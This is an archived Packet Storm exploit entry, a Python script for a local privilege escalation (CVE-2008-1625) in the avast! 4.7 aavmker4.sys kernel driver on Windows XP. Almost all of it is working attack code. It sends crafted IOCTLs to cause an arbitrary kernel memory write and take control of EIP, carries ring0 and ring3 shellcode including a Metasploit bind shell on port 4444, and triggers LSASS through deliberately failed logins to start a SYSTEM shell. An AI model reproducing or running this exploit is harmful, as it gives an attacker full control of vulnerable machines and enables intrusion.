Avast! 4.7 Privilege Escalation

2010-04-27T00:00:00
ID PACKETSTORM:88935
Type packetstorm
Reporter Matteo Memelli
Modified 2010-04-27T00:00:00

Description

                                        
                                            `#!/usr/bin/python  
# avast! 4.7 aavmker4.sys privilege escalation  
# http://www.trapkit.de/advisories/TKADV2008-002.txt  
# CVE-2008-1625  
# Tested on WindXpSp2/Sp3 Dep ON  
# Matteo Memelli ryujin __A-T__ offensive-security.com  
# www.offensive-security.com  
# Spaghetti & Pwnsauce - 17/04/2010  
# Tested on WinXPSP2/SP3 english | avast! 4.7.1098.0  
from ctypes import *  
import time, struct, sys, thread, os  
  
kernel32 = windll.kernel32  
Psapi = windll.Psapi  
  
def findSysBase(drv):  
print "(+) Retrieving %s base address..." % drv  
ARRAY_SIZE = 1024  
myarray = c_ulong * ARRAY_SIZE  
lpImageBase = myarray()  
cb = c_int(1024)  
lpcbNeeded = c_long()  
drivername_size = c_long()  
drivername_size.value = 48  
Psapi.EnumDeviceDrivers(byref(lpImageBase), cb, byref(lpcbNeeded))  
for baseaddy in lpImageBase:  
drivername = c_char_p("\x00"*drivername_size.value)  
if baseaddy:  
Psapi.GetDeviceDriverBaseNameA(baseaddy, drivername,  
drivername_size.value)  
if drivername.value.lower() == drv:  
print "(+) Address retrieved: %s" % hex(baseaddy)  
return baseaddy  
return None  
  
def checkShell():  
check = "netstat -an | find \"4444\""  
res = os.popen(check)  
ret = res.read()  
res.close()  
if ret.find("0.0.0.0:4444") != -1:  
return True  
else:  
return False  
  
def kickLsass():  
time.sleep(10)  
lsas1 = "echo hola | runas /user:administrator cmd.exe > NUL"  
lsas2 = "net use \\\\127.0.0.1 /user:administrator test > NUL"  
nc = "nc 127.0.0.1 4444"  
print "(!) NO BSOD? good sign :)"  
print "(*) Sleeping 60 secs before the Woshi finger hold..."  
time.sleep(60)  
# Trying to kick ls-ass, any auth good or failed should help  
# if this doesn't work for you try to rdp to the vuln box or  
# logout/login from console... it's rough but should work ;)  
print "(+) Trying to fail an auth to trigger syscall..."  
os.system(lsas1)  
time.sleep(1)  
os.system(lsas2)  
while 1:  
res = checkShell()  
if res:  
print "($) Shell is ready 0.0.0.0:4444"  
#os.system(nc)  
#print "(-) netcat not in path but shell is open!"  
break  
print "(*) Retrying. Sleeping 30 secs..."  
time.sleep(30)  
print "(+) Trying to fail an auth to trigger syscall..."  
os.system(lsas1)  
time.sleep(1)  
os.system(lsas2)  
  
def pwnDrv(driver_handle2, IOCTL_EIP, stor_input, stor_size, stor_output,  
out_size, dwReturn1):  
# We trigger func pointer to control EIP  
time.sleep(5)  
print "(+) Owning EIP..."  
for i in range(1,3):  
print "(+) Triggering function pointer: %d/2" % i  
dev_ioctl = kernel32.DeviceIoControl(driver_handle2, IOCTL_EIP, stor_input,  
stor_size, stor_output, out_size,  
byref(dwReturn1), None)  
time.sleep(0.5)  
  
if __name__ == '__main__':  
print "(*) avast! 4.7 aavmker4.sys privilege escalation"  
print "(+) coded by Matteo Memelli aka ryujin -> at <- offsec.com"  
print "(+) www.offsec.com || Spaghetti & Pwnsauce"  
print "(+) tested on WinXPSP2/SP3 DEP On 17/04/2010"  
GENERIC_READ = 0x80000000  
GENERIC_WRITE = 0x40000000  
OPEN_EXISTING = 0x3  
CREATE_ALWAYS = 0x2  
IOCTL_STOR = 0xb2d6001c # stores stuff to bypass checks in .data  
IOCTL_VULN = 0xb2d60030 # writes to arbitrary memory  
IOCTL_EIP = 0xb2d60020 # triggers function pointer to own EIP  
# DosDevices\AAVMKER4 Device\AavmKer4  
DEVICE_NAME = "\\\\.\\AavmKer4"  
dwReturn1 = c_ulong()  
dwReturn2 = c_ulong()  
evil_size = 0x878  
out_size = 0x1024  
stor_size = 0x418  
evil_output = ""  
stor_output = ""  
driver_name = 'aavmker4.sys'  
  
# evil_input = 0x878  
# Payload = 496 bytes  
# ring0_migrate = 45 bytes || # \xf0\x01 bytes to copy  
ring0_migrate = (  
"\xfc\xfa\xeb\x24\x5e\x68\x76\x01\x00\x00\x59\x0f\x32\x89\x86\x69"  
"\x00\x00\x00\x8b\xbe\x6d\x00\x00\x00\x89\xf8\x0f\x30\xb9\xf0\x01"  
"\x00\x00\xf3\xa4\xfb\xf4\xeb\xfd\xe8\xd7\xff\xff\xff" )  
  
# ring0_msr = 117 bytes  
ring0_msr = (  
"\x6a\x00\x9c\x60\xe8\x00\x00\x00\x00\x58\x8b\x98\x60\x00\x00\x00"  
"\x89\x5c\x24\x24\x81\xf9\xde\xc0\xad\xde\x75\x10\x68\x76\x01\x00"  
"\x00\x59\x89\xd8\x31\xd2\x0f\x30\x31\xc0\xeb\x3a\x8b\x32\x0f\xb6"  
"\x1e\x66\x81\xfb\xc3\x00\x75\x2e\x8b\x98\x68\x00\x00\x00\x8d\x9b"  
"\x75\x00\x00\x00\x89\x1a\xb8\x01\x00\x00\x80\x0f\xa2\x81\xe2\x00"  
"\x00\x10\x00\x74\x11\xba\x00\xff\x3f\xc0\x81\xc2\x04\x00\x00\x00"  
"\x81\x22\xff\xff\xff\x7f\x61\x9d\xc3\xff\xff\xff\xff\x00\x04\xdf"  
"\xff\x00\x04\xfe\x7f" )  
  
# ring3_stager = 61 bytes  
ring3_stager = (  
"\x60\x6a\x30\x58\x99\x64\x8b\x18\x39\x53\x0c\x74\x2e\x8b\x43\x10"  
"\x8b\x40\x3c\x83\xc0\x28\x8b\x08\x03\x48\x03\x81\xf9\x6c\x61\x73"  
"\x73\x75\x18\xe8\x0a\x00\x00\x00\xe8\x10\x00\x00\x00\xe9\x09\x00"  
"\x00\x00\xb9\xde\xc0\xad\xde\x89\xe2\x0f\x34\x61\xc3" )  
  
# msf payload: bindshell port 4444 318 bytes  
ring3_shellcode = (  
"\xfc\x6a\xeb\x4d\xe8\xf9\xff\xff\xff\x60\x8b\x6c\x24\x24\x8b\x45"  
"\x3c\x8b\x7c\x05\x78\x01\xef\x8b\x4f\x18\x8b\x5f\x20\x01\xeb\x49"  
"\x8b\x34\x8b\x01\xee\x31\xc0\x99\xac\x84\xc0\x74\x07\xc1\xca\x0d"  
"\x01\xc2\xeb\xf4\x3b\x54\x24\x28\x75\xe5\x8b\x5f\x24\x01\xeb\x66"  
"\x8b\x0c\x4b\x8b\x5f\x1c\x01\xeb\x03\x2c\x8b\x89\x6c\x24\x1c\x61"  
"\xc3\x31\xdb\x64\x8b\x43\x30\x8b\x40\x0c\x8b\x70\x1c\xad\x8b\x40"  
"\x08\x5e\x68\x8e\x4e\x0e\xec\x50\xff\xd6\x66\x53\x66\x68\x33\x32"  
"\x68\x77\x73\x32\x5f\x54\xff\xd0\x68\xcb\xed\xfc\x3b\x50\xff\xd6"  
"\x5f\x89\xe5\x66\x81\xed\x08\x02\x55\x6a\x02\xff\xd0\x68\xd9\x09"  
"\xf5\xad\x57\xff\xd6\x53\x53\x53\x53\x53\x43\x53\x43\x53\xff\xd0"  
"\x66\x68\x11\x5c\x66\x53\x89\xe1\x95\x68\xa4\x1a\x70\xc7\x57\xff"  
"\xd6\x6a\x10\x51\x55\xff\xd0\x68\xa4\xad\x2e\xe9\x57\xff\xd6\x53"  
"\x55\xff\xd0\x68\xe5\x49\x86\x49\x57\xff\xd6\x50\x54\x54\x55\xff"  
"\xd0\x93\x68\xe7\x79\xc6\x79\x57\xff\xd6\x55\xff\xd0\x66\x6a\x64"  
"\x66\x68\x63\x6d\x89\xe5\x6a\x50\x59\x29\xcc\x89\xe7\x6a\x44\x89"  
"\xe2\x31\xc0\xf3\xaa\xfe\x42\x2d\xfe\x42\x2c\x93\x8d\x7a\x38\xab"  
"\xab\xab\x68\x72\xfe\xb3\x16\xff\x75\x44\xff\xd6\x5b\x57\x52\x51"  
"\x51\x51\x6a\x01\x51\x51\x55\x51\xff\xd0\x68\xad\xd9\x05\xce\x53"  
"\xff\xd6\x6a\xff\xff\x37\xff\xd0\x8b\x57\xfc\x83\xc4\x64\xff\xd6"  
"\x52\xff\xd0\x68\xef\xce\xe0\x60\x53\xff\xd6\xff\xd0\xc3" )  
  
sysbase = findSysBase(driver_name)  
if not sysbase:  
print "(-) Couldn't retrieve driver base address, exiting..."  
sys.exit()  
  
driver_handle1 = kernel32.CreateFileA(DEVICE_NAME, GENERIC_READ | GENERIC_WRITE,  
0, None, CREATE_ALWAYS, 0, None)  
driver_handle2 = kernel32.CreateFileA(DEVICE_NAME, GENERIC_READ | GENERIC_WRITE,  
0, None, CREATE_ALWAYS, 0, None)  
  
# .data memory area we write to; offset from base = 0x2e04  
read_data_from= struct.pack('L', sysbase+0x2e04) # calculate addy in .data  
# r0_address = noplsed address, jump 0xfa bytes ahead to avoid a corrupted nop  
r0_address = struct.pack('L', sysbase+0x23fa)  
evil_input = r0_address*2 + "\x90"*0x102  
evil_input += ring0_migrate + ring0_msr + ring3_stager + ring3_shellcode  
evil_input += "\x41"*0x549  
evil_input += read_data_from + "\x42\x42\x42\x42" # bypass input checks  
stor_input = "\x43\x43\x43\x43" # padding  
stor_input += "\x07\xAD\xDE\xD0" # cmp dword ptr [eax], 0D0DEAD07h  
stor_input += "\xBA\xD0\xBA\x10" # cmp dword ptr [eax+4], 10BAD0BAh  
stor_input += "\x44\x44\x44\x44"*2  
# After arbitrary write to memory nt!KeSetEvent is called: we need to fix  
# nt!KeSetEvent+0x32 using any addy pointing to value different to 0x01  
# so we can use our "read_data_from" again.  
stor_input += read_data_from  
stor_input += "\x44\x44\x44\x44"  
# 0x2300 offset from base: we write here to control a function pointer  
# and own EIP  
stor_input += struct.pack('L', sysbase+0x2300) + "\x45"*414  
  
# trigger these later on...  
thread.start_new(pwnDrv, (driver_handle2, IOCTL_EIP, stor_input, stor_size,  
stor_output, out_size, dwReturn1))  
thread.start_new(kickLsass, ())  
###########################################################################  
  
# And now let's own the boy:  
if driver_handle1:  
# We store values to overcome input checks  
print "(+) Storing our precious in kernel space ;) ..."  
dev_ioctl = kernel32.DeviceIoControl(driver_handle1, IOCTL_STOR, stor_input,  
stor_size, stor_output, out_size,  
byref(dwReturn1), None)  
# We trigger arbitrary write  
print "(*) Sending evil IOCTL..."  
print "(+) Pwnage in progress...."  
dev_ioctl = kernel32.DeviceIoControl(driver_handle1, IOCTL_VULN,  
evil_input, evil_size, evil_output,  
evil_size,  
byref(dwReturn2), None)  
  
`